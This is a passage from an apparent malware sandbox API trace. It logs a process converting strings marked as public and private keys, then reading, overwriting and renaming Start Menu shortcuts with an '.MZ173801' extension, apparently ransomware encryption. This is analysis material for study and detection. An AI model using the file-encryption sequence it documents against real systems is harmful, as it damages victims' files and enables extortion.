4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0197.570] GetCurrentThreadId () returned 0xab4 [0197.570] GetCurrentThreadId () returned 0xab4 [0197.570] GetCurrentThreadId () returned 0xab4 [0197.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0197.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24cf62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0197.572] GetCurrentThreadId () returned 0xab4 [0197.572] GetCurrentThreadId () returned 0xab4 [0197.572] GetCurrentThreadId () returned 0xab4 [0197.572] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\file explorer.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0197.572] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0197.572] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0197.572] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x197 [0197.573] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0197.573] ReadFile (in: hFile=0x330, lpBuffer=0x24d7430, nNumberOfBytesToRead=0x197, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d7430*, lpNumberOfBytesRead=0x19f480*=0x197, lpOverlapped=0x0) returned 1 [0197.574] CloseHandle (hObject=0x330) returned 1 [0197.574] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\file explorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0197.666] WriteFile (in: hFile=0x330, lpBuffer=0x24d9460*, nNumberOfBytesToWrite=0x197, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d9460*, lpNumberOfBytesWritten=0x19f48c*=0x197, lpOverlapped=0x0) returned 1 [0197.668] CloseHandle (hObject=0x330) returned 1 [0197.756] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\file explorer.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\file explorer.lnk.mz173801")) returned 1 [0198.403] GetCurrentThreadId () returned 0xab4 [0198.403] GetCurrentThreadId () returned 0xab4 [0198.403] GetCurrentThreadId () returned 0xab4 [0198.403] GetCurrentThreadId () returned 0xab4 [0198.403] GetCurrentThreadId () returned 0xab4 [0198.403] GetCurrentThreadId () returned 0xab4 [0198.403] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x199, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Run.lnk", cAlternateFileName="")) returned 1 [0198.403] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0198.403] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0198.403] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\run.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x199)) returned 1 [0198.403] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\run.lnk")) returned 0x20 [0198.403] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk", dwFileAttributes=0x80) returned 1 [0198.518] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0198.518] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24be5cc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0198.519] GetCurrentThreadId () returned 0xab4 [0198.519] GetCurrentThreadId () returned 0xab4 [0198.519] GetCurrentThreadId () returned 0xab4 [0198.520] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0198.520] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24cf62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 